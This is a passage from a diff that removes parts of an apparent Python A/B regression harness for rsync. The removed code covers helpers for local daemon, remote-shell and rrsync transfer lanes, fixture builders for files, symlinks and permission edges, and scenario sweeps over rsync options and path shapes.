       if len(ln) > 11 and ln[1] in \"fdLDS\" and ln[0] in \"<>ch.*\"\n-        and ln[11:].strip() != \"./\"))  # bench-dependent top-dir time line\n-    return r.returncode, (r.stderr or \"\").strip(), literal, itemize, (r.stdout or \"\")\n-\n-\n-_NOISE = re.compile(r'bytes/sec|speedup is|^sent .*received |^total size is|'\n-                    r'^Number of |^Total |^Literal data:|^Matched data:|'\n-                    r'^File list |^total:|^created |^deleting ')\n-\n-\n-def _norm_out(text, wd, dest):\n-    \"\"\"Normalised stdout for A/B compare: canonicalise the workdir/dest paths and\n-    drop bench-variant stats lines (keeps itemize/listing/warning lines).\"\"\"\n-    text = text.replace(str(dest), \"DEST\").replace(str(wd), \"WD\")\n-    return \"\\n\".join(ln for ln in text.splitlines() if ln and not _NOISE.search(ln))\n-\n-\n-def _norm_err(text, wd, dest):\n-    \"\"\"Normalised stderr TEXT for A/B compare: canonicalise paths, strip the\n-    version-dependent role tag ([sender=3.4.x], [client=VERSION]) and at-FILE(LINE)\n-    source location (line numbers shift between versions) so only the MESSAGE is\n-    compared.\"\"\"\n-    text = text.replace(str(dest), \"DEST\").replace(str(wd), \"WD\")\n-    text = re.sub(r'\\[(?:sender|receiver|generator|client|server'\n-                  r'|Sender|Receiver|Generator|Client|Server)=[^\\]]*\\]',\n-                  '[ROLE]', text)\n-    text = re.sub(r' at [\\w./-]+\\(\\d+\\)', ' at LOC', text)\n-    return text.strip()\n-\n-\n-def _wait_port(port, timeout=10.0):\n-    import socket as _sock\n-    end = time.time() + timeout\n-    while time.time() < end:\n-        try:\n-            _sock.create_connection((\"127.0.0.1\", port), 0.3).close()\n-            return True\n-        except OSError:\n-            time.sleep(0.05)\n-    return False\n-\n-\n-def run_daemon_xfer(binary, wd, module_path, opts, src_args, port, chroot=\"no\"):\n-    \"\"\"Push src_args into a [m] module served by `binary --daemon` over a PRIVATE\n-    STDIO PIPE (RSYNC_CONNECT_PROG) -- no TCP port, so no port-bind/startup race\n-    (the old TCP path was nondeterministic under load).  `port` only uniquifies\n-    the per-invocation config filename.  Same (rc, err, lit, item) as run_xfer.\"\"\"\n-    conf = Path(wd) / f\"rsyncd_{port}.conf\"\n-    Path(module_path).mkdir(parents=True, exist_ok=True)\n-    conf.write_text(\n-        f\"use chroot = {chroot}\\n\"\n-        f\"[m]\\n  path = {module_path}\\n  read only = no\\n\"\n-        f\"  hosts allow = 127.0.0.1\\n\")\n-    env = {**os.environ,\n-           \"RSYNC_CONNECT_PROG\": f\"{binary} --config={conf} --daemon\"}\n-    argv = [binary, \"--stats\", \"-i\", *opts, *src_args, \"rsync://localhost/m/\"]\n-    return _parse_out(sh(argv, cwd=str(wd), env=env))\n-\n-\n-def run_daemon_pull(binary, wd, served, opts, localdest, port, chroot=\"no\"):\n-    \"\"\"PULL from a read-only [m] module (the daemon SENDER side) over a private\n-    stdio pipe into localdest. `served` is the served directory.\"\"\"\n-    conf = Path(wd) / f\"rsyncd_{port}.conf\"\n-    Path(served).mkdir(parents=True, exist_ok=True)\n-    Path(localdest).mkdir(parents=True, exist_ok=True)\n-    conf.write_text(\n-        f\"use chroot = {chroot}\\n\"\n-        f\"[m]\\n  path = {served}\\n  read only = yes\\n\"\n-        f\"  hosts allow = 127.0.0.1\\n\")\n-    env = {**os.environ,\n-           \"RSYNC_CONNECT_PROG\": f\"{binary} --config={conf} --daemon\"}\n-    argv = [binary, \"--stats\", \"-i\", *opts, \"rsync://localhost/m/\",\n-            str(localdest) + \"/\"]\n-    return _parse_out(sh(argv, cwd=str(wd), env=env))\n-\n-\n-# sibling helper scripts live in support/ (abdiff.py itself lives in testsuite/)\n-_SUPPORT = Path(__file__).resolve().parent.parent / \"support\"\n-_LSH = str(_SUPPORT / \"lsh.sh\")\n-\n-\n-def run_ssh_xfer(binary, wd, opts, src_args, dest):\n-    \"\"\"PUSH over a remote-shell split via support/lsh.sh (host 'lh' = no chdir);\n-    the remote side runs the same binary via --rsync-path. Real client+server\n-    processes + protocol, unlike a both-paths-local copy.\"\"\"\n-    argv = [binary, \"--stats\", \"-i\", \"-e\", f\"sh {_LSH}\",\n-            f\"--rsync-path={binary}\", *opts, *src_args, f\"lh:{dest}/\"]\n-    return _parse_out(sh(argv, cwd=wd))\n-\n-\n-# --- rrsync lane: route the remote side through the restricted rrsync wrapper --\n-_RRSH = str(_SUPPORT / \"rrsh.sh\")\n-_RRSYNC_SRC = _SUPPORT / \"rrsync\"\n-\n-\n-def _patch_rrsync(binary, rrsync_src, wd):\n-    \"\"\"A copy of `rrsync_src` (the version's rrsync wrapper) whose RSYNC points at\n-    `binary`, so the rrsync-launched server is the binary under test. rrsync is\n-    SHIPPED PER VERSION, so A and B use their OWN rrsync (the regressions live in\n-    the script, not just the binary) -- keyed per (binary, src) to keep them\n-    distinct in a shared workdir.\"\"\"\n-    key = abs(hash((binary, str(rrsync_src)))) % 1000000\n-    dst = Path(wd) / f\"rrsync-{key}\"\n-    if not dst.exists():\n-        txt = Path(rrsync_src).read_text()\n-        txt = re.sub(r\"^RSYNC = '[^']*'\", f\"RSYNC = {binary!r}\", txt, count=1,\n-                     flags=re.M)\n-        dst.write_text(txt)\n-        dst.chmod(0o755)\n-    return dst\n-\n-\n-def run_rrsync_push(binary, rrsync_src, wd, opts, src_args, dest):\n-    \"\"\"PUSH through `rrsync <restricted>` (the dest's parent is the restricted\n-    root; the client writes into the <dest-name>/ subdir, so rrsync's subdir\n-    restrictions are exercised). Exercises rrsync option/path validation.\"\"\"\n-    dest = Path(dest)\n-    rr = _patch_rrsync(binary, rrsync_src, wd)\n-    dest.parent.mkdir(parents=True, exist_ok=True)\n-    argv = [binary, \"--stats\", \"-i\", \"-e\", f\"sh {_RRSH} {rr} {dest.parent}\",\n-            *opts, *src_args, f\"lh:{dest.name}/\"]\n-    return _parse_out(sh(argv, cwd=str(wd)))\n-\n-\n-def run_rrsync_pull(binary, rrsync_src, wd, served, opts, localdest):\n-    \"\"\"PULL through `rrsync <restricted>` (rrsync's --sender side): the served\n-    dir's parent is the restricted root, the client reads the <served-name>/\n-    subdir into localdest.\"\"\"\n-    served = Path(served)\n-    rr = _patch_rrsync(binary, rrsync_src, wd)\n-    Path(localdest).mkdir(parents=True, exist_ok=True)\n-    argv = [binary, \"--stats\", \"-i\", \"-e\", f\"sh {_RRSH} {rr} {served.parent}\",\n-            *opts, f\"lh:{served.name}/\", str(localdest) + \"/\"]\n-    return _parse_out(sh(argv, cwd=str(wd)))\n-\n-\n-# --- real-TCP-daemon lane: a genuine `rsync --daemon` on a bound port ----------\n-_port_lock = threading.Lock()\n-_next_port = [40000]\n-\n-\n-def _alloc_port():\n-    \"\"\"A free localhost TCP port, bind-probed under a lock so concurrent workers\n-    don't collide (the real-daemon path needs a real port, unlike the stdio one).\"\"\"\n-    import socket as _s\n-    with _port_lock:\n-        for _ in range(4000):\n-            p = _next_port[0]\n-            _next_port[0] = 40000 if p >= 60000 else p + 1\n-            s = _s.socket(_s.AF_INET, _s.SOCK_STREAM)\n-            try:\n-                s.setsockopt(_s.SOL_SOCKET, _s.SO_REUSEADDR, 1)\n-                s.bind((\"127.0.0.1\", p))\n-                return p\n-            except OSError:\n-                continue\n-            finally:\n-                s.close()\n-    return _next_port[0]\n-\n-\n-def _tcp_daemon(binary, wd, module_path, opts, src_args, localdest=None,\n-                pull=False, chroot=\"no\", auth=False):\n-    \"\"\"Start a real `binary --daemon` on a bound TCP port and run the client over\n-    rsync://127.0.0.1:PORT/m/ -- exercises the genuine socket path / greeting /\n-    handshake (and, with auth, the challenge-response) that the stdio-pipe daemon\n-    lane bypasses.\"\"\"\n-    port = _alloc_port()\n-    conf = Path(wd) / f\"tcpd_{port}.conf\"\n-    Path(module_path).mkdir(parents=True, exist_ok=True)\n-    authlines = \"\"\n-    env = dict(os.environ)\n-    if auth:\n-        sp = Path(wd) / f\"tcpd_{port}.secrets\"\n-        sp.write_text(\"abuser:abpass\\n\")\n-        sp.chmod(0o600)\n-        authlines = f\"  auth users = abuser\\n  secrets file = {sp}\\n\"\n-        env[\"RSYNC_PASSWORD\"] = \"abpass\"\n-    conf.write_text(\n-        f\"use chroot = {chroot}\\nport = {port}\\n\"\n-        f\"log file = {wd}/tcpd_{port}.log\\npid file = {wd}/tcpd_{port}.pid\\n\"\n-        f\"[m]\\n  path = {module_path}\\n  read only = {'yes' if pull else 'no'}\\n\"\n-        f\"  hosts allow = 127.0.0.1\\n{authlines}\")\n-    proc = subprocess.Popen(\n-        [binary, \"--daemon\", \"--no-detach\", f\"--config={conf}\",\n-         f\"--port={port}\", \"--address=127.0.0.1\"],\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-        start_new_session=True)\n-    try:\n-        if not _wait_port(port):\n-            return (99, \"tcp daemon failed to start\", None, \"\", \"\")\n-        user = \"abuser@\" if auth else \"\"\n-        url = f\"rsync://{user}127.0.0.1:{port}/m/\"\n-        if pull:\n-            Path(localdest).mkdir(parents=True, exist_ok=True)\n-            argv = [binary, \"--stats\", \"-i\", *opts, url, str(localdest) + \"/\"]\n-        else:\n-            argv = [binary, \"--stats\", \"-i\", *opts, *src_args, url]\n-        return _parse_out(sh(argv, cwd=str(wd), env=env))\n-    finally:\n-        proc.terminate()\n-        try:\n-            proc.wait(timeout=5)\n-        except subprocess.TimeoutExpired:\n-            proc.kill()\n-\n-\n-# ---------------------------------------------------------------------------\n-# fixtures\n-\n-def _write(p: Path, data: bytes):\n-    p.parent.mkdir(parents=True, exist_ok=True)\n-    p.write_bytes(data)\n-\n-\n-def build_kitchen(src: Path):\n-    \"\"\"A benign 'kitchen-sink' tree: regular/empty/large/sparse files, nested\n-    and empty dirs, in-tree + dangling symlinks, a dir-symlink, a hardlink pair,\n-    odd modes, and a user.* xattr. No attacker paths.\"\"\"\n-    src.mkdir(parents=True, exist_ok=True)\n-    _write(src / \"empty\", b\"\")\n-    _write(src / \"small.txt\", b\"hello world\\n\")\n-    _write(src / \"data.bin\", bytes((i * 7) & 0xFF for i in range(200000)))\n-    _write(src / \"dir/a.txt\", b\"a\" * 100)\n-    _write(src / \"dir/sub/b.txt\", b\"b\" * 100)\n-    (src / \"emptydir\").mkdir(exist_ok=True)\n-    # sparse file: hole + data\n-    with open(src / \"sparse.bin\", \"wb\") as f:\n-        f.seek(1 << 20)\n-        f.write(b\"END\")\n-    # hardlink pair\n-    _write(src / \"hl_a\", b\"hardlinked\\n\")\n-    try:\n-        os.link(src / \"hl_a\", src / \"hl_b\")\n-    except OSError:\n-        pass\n-    # symlinks\n-    os.symlink(\"small.txt\", src / \"rel_link\")          # in-tree relative\n-    os.symlink(\"dir\", src / \"dir_link\")                # dir symlink\n-    os.symlink(\"nonexistent\", src / \"dangling\")        # dangling\n-    # odd modes\n-    os.chmod(src / \"small.txt\", 0o4755)                # setuid\n-    os.chmod(src / \"dir\", 0o2775)                       # setgid dir\n-    # xattr (best effort)\n-    try:\n-        os.setxattr(src / \"data.bin\", \"user.abtest\", b\"v1\")\n-    except OSError:\n-        pass\n-\n-\n-def build_relfile(src: Path):\n-    \"\"\"Minimal nested file for path-shape tests.\"\"\"\n-    _write(src / \"sub/deep/file\", b\"relative content\\n\")\n-    os.symlink(\"file\", src / \"sub/deep/link\")\n-\n-\n-# ---------------------------------------------------------------------------\n-# scenarios\n-\n-class Scenario:\n-    def __init__(self, name, setup, opts, src_args, dest=\"destX/\",\n-                 cwd_is_workdir=True, pre_dest=None, abspath=False,\n-                 dest_prep=None, snap_dest=None, dest_arg=None, daemon=None,\n-                 ssh=False):\n-        self.name = name\n-        self.setup = setup            # fn(src_dir)\n-        self.opts = opts              # list[str]\n-        self.src_args = src_args      # fn(workdir)->list[str] OR list[str]\n-        self.dest = dest\n-        self.cwd_is_workdir = cwd_is_workdir\n-        self.pre_dest = pre_dest      # fn(dest_dir) to pre-populate (delete/update)\n-        self.abspath = abspath\n-        # dest_prep(dest_path): create the dest specially (e.g. as a symlink to a\n-        # real dir) instead of letting rsync create it. snap_dest(dest_path)->Path\n-        # picks what to snapshot (e.g. the symlink's real target).\n-        self.dest_prep = dest_prep\n-        self.snap_dest = snap_dest\n-        # dest_arg(dest_base)->str: the actual rsync destination argument (e.g.\n-        # write THROUGH an in-tree dir-symlink: dest_base/link/). Default is\n-        # dest_base + \"/\".\n-        self.dest_arg = dest_arg\n-        # daemon: None for a local transfer, or {\"chroot\": \"no\"|\"yes\"} to PUSH\n-        # src_args into a [m] daemon module whose path is the dest dir.\n-        self.daemon = daemon\n-        # ssh: True to PUSH over a remote-shell split (support/lsh.sh, host \"lh\")\n-        # -- separate client+server processes, real protocol + arg passing.\n-        self.ssh = ssh\n-        # rrsync: None, or {\"pull\": bool} to route through the restricted rrsync\n-        # wrapper (support/rrsync) as an sshd forced-command would -- exercises\n-        # rrsync's own option/path validation. ssh/daemon-style transport.\n-        self.rrsync = None\n-\n-\n-def _liftable(scn):\n-    \"\"\"A benign push-into-dest scenario whose transport can be swapped for free:\n-    no dest_prep/dest_arg (those need local dest-path semantics), not already a\n-    daemon/ssh scenario, and a list src_args that ends by pushing src/ -> dest.\"\"\"\n-    return (not scn.dest_prep and not scn.dest_arg and not scn.abspath\n-            and scn.daemon is None and not scn.ssh and scn.rrsync is None\n-            and isinstance(scn.src_args, list) and scn.src_args\n-            and scn.src_args[-1] in (\"src/\", \"src\"))\n-\n-\n-def _clone_transport(scn, mode):\n-    import copy\n-    c = copy.copy(scn)\n-    c.name = f\"{scn.name}@{mode}\"\n-    if mode == \"ssh\":\n-        c.ssh = True\n-    elif mode == \"daemon\":\n-        c.daemon = {\"chroot\": \"no\"}\n-    return c\n-\n-\n-def lift_transports(scns, modes=(\"ssh\", \"daemon\")):\n-    \"\"\"Make transport an ORTHOGONAL axis: keep each local scenario and, for the\n-    liftable ones, also run it over ssh and a daemon module. This is where the\n-    daemon/ssh-only regression family hides -- a feature broken only over the\n-    wire is invisible to a local-only sweep.\"\"\"\n-    out = []\n-    for scn in scns:\n-        out.append(scn)\n-        if _liftable(scn):\n-            out += [_clone_transport(scn, m) for m in modes]\n-    return out\n-\n-\n-def options_sweep():\n-    \"\"\"-a plus one option at a time, over the kitchen-sink, relative trailing\n-    slash source -> dest. The bread-and-butter single-option regression check.\"\"\"\n-    base = [\"-a\"]\n-    variants = [\n-        [\"-a\"], [\"-aH\"], [\"-aHS\"], [\"-a\", \"--sparse\"], [\"-a\", \"--inplace\"],\n-        [\"-a\", \"-A\"], [\"-a\", \"-X\"], [\"-a\", \"-AX\"], [\"-a\", \"-U\"], [\"-a\", \"-N\"],\n-        [\"-a\", \"-l\"], [\"-a\", \"-L\"], [\"-a\", \"-k\"], [\"-a\", \"-K\"],\n-        [\"-a\", \"--copy-unsafe-links\"], [\"-a\", \"--safe-links\"],\n-        [\"-a\", \"--munge-links\"], [\"-a\", \"-z\"], [\"-a\", \"--compress-choice=zstd\"],\n-        [\"-a\", \"--compress-choice=zlib\"], [\"-a\", \"-c\"],\n-        [\"-a\", \"--checksum-choice=md5\"], [\"-a\", \"-W\"], [\"-a\", \"--no-whole-file\"],\n-        [\"-a\", \"-O\"], [\"-a\", \"-J\"], [\"-a\", \"--numeric-ids\"], [\"-a\", \"-E\"],\n-        [\"-a\", \"--no-inc-recursive\"], [\"-a\", \"--fake-super\"],\n-        [\"-a\", \"--chmod=u+rwx\"], [\"-rlptD\"], [\"-rtz\"],\n-        [\"-a\", \"-B\", \"1024\"], [\"-a\", \"--max-size=1000\"], [\"-a\", \"--min-size=50\"],\n-        [\"-a\", \"--exclude=*.bin\"], [\"-a\", \"-C\"], [\"-a\", \"--prune-empty-dirs\"],\n-    ]\n-    scns = []\n-    for v in variants:\n-        nm = \"opt:\" + \"_\".join(x.lstrip(\"-\") for x in v if x != \"-a\") or \"opt:a\"\n-        scns.append(Scenario(\"opt:\" + \"+\".join(v), build_kitchen, v,\n-                             [\"src/\"], \"dest/\"))\n-    return scns\n-\n-\n-def pathshape_sweep():\n-    \"\"\"The --relative class: same content under many source-path shapes.\"\"\"\n-    scns = []\n-\n-    def absfile(wd):\n-        return [str(Path(wd) / \"src/sub/deep/file\")]\n-\n-    scns += [\n-        Scenario(\"path:rel-dir-slash\", build_relfile, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"path:rel-dir-noslash\", build_relfile, [\"-a\"], [\"src\"], \"dest/\"),\n-        Scenario(\"path:rel-file\", build_relfile, [\"-a\"], [\"src/sub/deep/file\"], \"dest/\"),\n-        Scenario(\"path:abs-file\", build_relfile, [\"-a\"], absfile, \"dest/\"),\n-        Scenario(\"path:abs-dir\", build_relfile, [\"-a\"],\n-                 lambda wd: [str(Path(wd) / \"src\") + \"/\"], \"dest/\"),\n-        Scenario(\"path:R-rel-file\", build_relfile, [\"-aR\"], [\"src/sub/deep/file\"], \"dest/\"),\n-        Scenario(\"path:R-abs-file\", build_relfile, [\"-aR\"], absfile, \"dest/\"),\n-        Scenario(\"path:R-dot\", build_relfile, [\"-aR\"], [\"./src/sub/deep/file\"], \"dest/\"),\n-        Scenario(\"path:R-rel-dir\", build_relfile, [\"-aR\"], [\"src/sub/\"], \"dest/\"),\n-        Scenario(\"path:R-noimplied\", build_relfile, [\"-aR\", \"--no-implied-dirs\"],\n-                 [\"src/sub/deep/file\"], \"dest/\"),\n-        Scenario(\"path:multi-src\", build_relfile, [\"-a\"],\n-                 [\"src/sub/deep/file\", \"src/sub/deep/link\"], \"dest/\"),\n-        Scenario(\"path:link-as-src\", build_relfile, [\"-a\"], [\"src/sub/deep/link\"], \"dest/\"),\n-        Scenario(\"path:L-link-as-src\", build_relfile, [\"-aL\"], [\"src/sub/deep/link\"], \"dest/\"),\n-    ]\n-    return scns\n-\n-\n-T_OLD = 1000000000   # fixed timestamps so pre-state is identical for A and B\n-T_NEW = 1700000000\n-\n-\n-def _ut(p, t=T_NEW):\n-    os.utime(p, (t, t))\n-\n-\n-def build_recvtree(src: Path):\n-    \"\"\"Small, interpretable source tree for receiver/stateful scenarios.\"\"\"\n-    _write(src / \"file1.txt\", b\"NEW content line\\n\" * 3)\n-    _write(src / \"dir/file2.txt\", b\"data2\\n\")\n-    _write(src / \"big.bin\", bytes((i * 3) & 0xFF for i in range(60000)))\n-    os.symlink(\"file1.txt\", src / \"slink\")\n-    _write(src / \"hl1\", b\"hard\\n\")\n-    try:\n-        os.link(src / \"hl1\", src / \"hl2\")\n-    except OSError:\n-        pass\n-    for f in (\"file1.txt\", \"dir/file2.txt\", \"big.bin\", \"hl1\", \"hl2\"):\n-        _ut(src / f)\n-    _ut(src / \"dir\")\n-    _ut(src)\n-\n-\n-def setup_with_basis(src: Path):\n-    \"\"\"src plus an identical sibling basis/ (for --link-dest/--copy-dest/etc.).\"\"\"\n-    build_recvtree(src)\n-    basis = src.parent / \"basis\"\n-    build_recvtree(basis)\n-\n-\n-def stale_dest(dest: Path):\n-    \"\"\"Pre-populate a dest as an OLDER state: file1 differs (older mtime),\n-    big.bin differs (older), an extra obsolete file, file2 already current.\"\"\"\n-    _write(dest / \"file1.txt\", b\"OLD content\\n\")\n-    _ut(dest / \"file1.txt\", T_OLD)\n-    _write(dest / \"dir/file2.txt\", b\"data2\\n\")\n-    _ut(dest / \"dir/file2.txt\")\n-    _ut(dest / \"dir\")\n-    _write(dest / \"big.bin\", bytes((i * 5) & 0xFF for i in range(60000)))\n-    _ut(dest / \"big.bin\", T_OLD)\n-    _write(dest / \"obsolete.txt\", b\"remove me\\n\")\n-    _ut(dest / \"obsolete.txt\", T_OLD)\n-\n-\n-# ===========================================================================\n-# Domain-knowledge-driven scenario generation.\n-# \"Edges of interest\": equivalence-class boundary representatives, not volume\n-# (empty-dir vs 1-file matters; 10 vs 11 doesn't; mode 0 vs 0400 vs 0200 matters;\n-# 100 files of one mode don't). Each option is modelled by its precondition (the\n-# dest/src state that makes it active) and, for options taking a dir, whether the\n-# aux location sits INSIDE or OUTSIDE the tree.\n-# ===========================================================================\n-\n-# interesting permission edges (no-perm / read / write / exec / special bits)\n-MODES = [0o000, 0o400, 0o200, 0o644, 0o755, 0o4755, 0o2755, 0o1777]\n-# size edges around rsync's block boundary (BLOCK_SIZE 700): empty/1B/under/at/over/multi\n-SIZES = [0, 1, 699, 700, 701, 100003]\n-\n-\n-def _mk_reg(p, n, mode=0o644, t=T_NEW, fill=7):\n-    p.parent.mkdir(parents=True, exist_ok=True)\n-    with open(p, \"wb\") as f:\n-        f.write(bytes((i * fill) & 0xFF for i in range(n)))\n-    os.chmod(p, mode)\n-    _ut(p, t)\n-\n-\n-def _mk_sparse(p, hole=1 << 20, tail=b\"end\"):\n-    p.parent.mkdir(parents=True, exist_ok=True)\n-    with open(p, \"wb\") as f:\n-        f.seek(hole)\n-        f.write(tail)\n-    _ut(p)\n-\n-\n-def _mk_fifo(p):\n-    p.parent.mkdir(parents=True, exist_ok=True)\n-    os.mkfifo(p)\n-\n-\n-def _mk_sock(p):\n-    import socket as _s\n-    p.parent.mkdir(parents=True, exist_ok=True)\n-    s = _s.socket(_s.AF_UNIX)\n-    try:\n-        s.bind(str(p))\n-    finally:\n-        s.close()\n-\n-\n-def mode_sweep():\n-    \"\"\"One representative file per interesting permission edge (+ a setgid/sticky\n-    dir), plain -a and -a --chmod. Boundary values, not 100 files of one mode.\"\"\"\n-    s = []\n-    for m in MODES:\n-        def setup(src, m=m):\n-            _mk_reg(src / \"f\", 64, mode=m)\n-            os.mkdir(src / \"d\")\n-            os.chmod(src / \"d\", 0o2755 if m == 0o2755 else\n-                     (0o1777 if m == 0o1777 else 0o755))\n-            _ut(src / \"d\")\n-        s.append(Scenario(f\"mode:{m:04o}\", setup, [\"-a\"], [\"src/\"], \"dest/\"))\n-    s.append(Scenario(\"mode:chmod-Dg-Fo\", lambda src: _mk_reg(src / \"f\", 8),\n-                      [\"-a\", \"--chmod=D2755,F644\"], [\"src/\"], \"dest/\"))\n-    return s\n-\n-\n-def size_sweep():\n-    \"\"\"One file per size edge around the block boundary, plain and --inplace\n-    (delta path), -c (whole-file checksum), -S on a sparse file.\"\"\"\n-    s = []\n-    for n in SIZES:\n-        s.append(Scenario(f\"size:{n}\", lambda src, n=n: _mk_reg(src / \"f\", n),\n-                          [\"-a\"], [\"src/\"], \"dest/\"))\n-        s.append(Scenario(f\"size:{n}+inplace\",\n-                          lambda src, n=n: _mk_reg(src / \"f\", n),\n-                          [\"-a\", \"--inplace\", \"--no-whole-file\"], [\"src/\"], \"dest/\"))\n-    s.append(Scenario(\"size:sparse\", lambda src: _mk_sparse(src / \"sp.bin\"),\n-                      [\"-aS\"], [\"src/\"], \"dest/\"))\n-    s.append(Scenario(\"size:sparse-inplace\", lambda src: _mk_sparse(src / \"sp.bin\"),\n-                      [\"-aS\", \"--inplace\"], [\"src/\"], \"dest/\"))\n-    return s\n-\n-\n-def filetype_sweep():\n-    \"\"\"One representative per file type/symlink shape, each with the option(s)\n-    that actually exercise it. Specials/devices are in priv_sweep (root).\"\"\"\n-    def base(src):\n-        _mk_reg(src / \"anchor\", 16)\n-\n-    def f_emptydir(src):\n-        base(src)\n-        os.makedirs(src / \"empty\")\n-        _ut(src / \"empty\")\n-\n-    def f_intree(src):\n-        base(src)\n-        _mk_reg(src / \"real\", 20)\n-        os.symlink(\"real\", src / \"lnk\")          # in-tree relative\n-\n-    def f_dirlink(src):\n-        base(src)\n-        _mk_reg(src / \"rd/inner\", 20)\n-        os.symlink(\"rd\", src / \"dl\")             # symlink to a dir\n-\n-    def f_abslink(src):\n-        base(src)\n-        os.symlink(\"/etc/hostname\", src / \"abs\")  # out-of-tree absolute\n-\n-    def f_dangling(src):\n-        base(src)\n-        os.symlink(\"nonexistent\", src / \"dead\")\n-\n-    def f_chain(src):\n-        base(src)\n-        _mk_reg(src / \"real\", 20)\n-        os.symlink(\"real\", src / \"l1\")\n-        os.symlink(\"l1\", src / \"l2\")             # symlink chain\n-\n-    def f_hardlinks(src):\n-        _mk_reg(src / \"a\", 40)\n-        os.link(src / \"a\", src / \"b\")\n-        os.link(src / \"a\", src / \"c\")\n-        base(src)\n-\n-    def f_fifo(src):\n-        base(src)\n-        _mk_fifo(src / \"pipe\")\n-\n-    def f_sock(src):\n-        base(src)\n-        _mk_sock(src / \"sock\")\n-\n-    return [\n-        Scenario(\"ft:emptydir\", f_emptydir, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:intree-l\", f_intree, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:intree-L\", f_intree, [\"-aL\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:dirlink-l\", f_dirlink, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:dirlink-k\", f_dirlink, [\"-ak\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:dirlink-L\", f_dirlink, [\"-aL\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:abslink-l\", f_abslink, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:abslink-L\", f_abslink, [\"-aL\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:abslink-safe\", f_abslink, [\"-a\", \"--safe-links\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:abslink-munge\", f_abslink, [\"-a\", \"--munge-links\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:dangling\", f_dangling, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:chain-l\", f_chain, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:chain-L\", f_chain, [\"-aL\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:hardlinks\", f_hardlinks, [\"-aH\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:fifo\", f_fifo, [\"-a\"], [\"src/\"], \"dest/\"),\n-        Scenario(\"ft:sock\", f_sock, [\"-a\"], [\"src/\"], \"dest/\"),\n-    ]\n-\n-\n-# --- preconditions: dest/src state that makes an option actually ACTIVE -------\n-def _pc_tree(src):\n-    _mk_reg(src / \"f\", 100)\n-    _mk_reg(src / \"dir/g\", 50)\n-    _ut(src / \"dir\")\n-    _ut(src)\n-\n-\n-def _setup_samemeta(src):\n-    _mk_reg(src / \"f\", 100, t=T_NEW, fill=7)\n-    _mk_reg(src / \"keep\", 20, t=T_NEW, fill=7)\n-\n-\n-def _pre_samemeta(dest):                 # same size+mtime, DIFFERENT content\n-    _mk_reg(dest / \"f\", 100, t=T_NEW, fill=200)\n-    _mk_reg(dest / \"keep\", 20, t=T_NEW, fill=200)\n-\n-\n-def _setup_older(src):\n-    _mk_reg(src / \"f\", 100, t=T_OLD, fill=7)\n-\n-\n-def _pre_newer(dest):                    # dest newer + different (for -u)\n-    _mk_reg(dest / \"f\", 60, t=T_NEW, fill=200)\n-\n-\n-def _setup_mixed(src):                   # an existing file + a new file\n-    _mk_reg(src / \"exist\", 30, t=T_NEW, fill=7)\n-    _mk_reg(src / \"newfile\", 30, t=T_NEW, fill=7)\n-\n-\n-def _pre_existing(dest):                 # only \"exist\" present (older, different)\n-    _mk_reg(dest / \"exist\", 99, t=T_OLD, fill=200)\n-\n-\n-def _setup_sizes(src):\n-    _mk_reg(src / \"small\", 50)\n-    _mk_reg(src / \"big\", 5000)\n-\n-\n-def _setup_emptydirs(src):\n-    os.makedirs(src / \"empty/sub\")\n-    _mk_reg(src / \"keep/f\", 10)\n-    _ut(src / \"keep\")\n-    _ut(src / \"empty/sub\")\n-    _ut(src / \"empty\")\n-\n-\n-def _setup_append(src):\n-    _mk_reg(src / \"f\", 200, t=T_NEW, fill=7)\n-\n-\n-def _pre_append(dest):                   # dest is a shorter prefix (for --append)\n-    with open(dest / \"f\", \"wb\") as fh:\n-        fh.write(bytes((i * 7) & 0xFF for i in range(80)))\n-    _ut(dest / \"f\", T_OLD)\n-\n-\n-def _setup_kdest(src):\n-    _mk_reg(src / \"dir/f1\", 10)\n-    _mk_reg(src / \"dir/f2\", 10)\n-    _mk_reg(src / \"top\", 5)\n-\n-\n-def _prep_kdest(dest):                   # dest has realdir + dir->realdir symlink\n-    dest.mkdir(parents=True, exist_ok=True)\n-    (dest / \"realdir\").mkdir(exist_ok=True)\n-    if not (dest / \"dir\").is_symlink():\n-        os.symlink(\"realdir\", dest / \"dir\")\n-\n-\n-def selection_sweep():\n-    \"\"\"File-selection / timestamp / size options at the boundary that makes the\n-    comparison non-trivial (same size+mtime but different content, newer dest,\n-    existing-vs-new, size limits).\"\"\"\n-    plain = \"src/\"\n-    s = [\n-        Scenario(\"sel:checksum\", _setup_samemeta, [\"-a\", \"-c\"], [plain], \"dest/\", pre_dest=_pre_samemeta),\n-        Scenario(\"sel:ignore-times\", _setup_samemeta, [\"-a\", \"-I\"], [plain], \"dest/\", pre_dest=_pre_samemeta),\n-        Scenario(\"sel:size-only\", _setup_samemeta, [\"-a\", \"--size-only\"], [plain], \"dest/\", pre_dest=_pre_samemeta),\n-        Scenario(\"sel:quickcheck\", _setup_samemeta, [\"-a\"], [plain], \"dest/\", pre_dest=_pre_samemeta),\n-        Scenario(\"sel:update\", _setup_older, [\"-a\", \"-u\"], [plain], \"dest/\", pre_dest=_pre_newer),\n-        Scenario(\"sel:modify-window\", _setup_samemeta, [\"-a\", \"--modify-window=2\"], [plain], \"dest/\", pre_dest=_pre_samemeta),\n-        Scenario(\"sel:existing\", _setup_mixed, [\"-a\", \"--existing\"], [plain], \"dest/\", pre_dest=_pre_existing),\n-        Scenario(\"sel:ignore-existing\", _setup_mixed, [\"-a\", \"--ignore-existing\"], [plain], \"dest/\", pre_dest=_pre_existing),\n-        Scenario(\"sel:max-size\", _setup_sizes, [\"-a\", \"--max-size=1000\"], [plain], 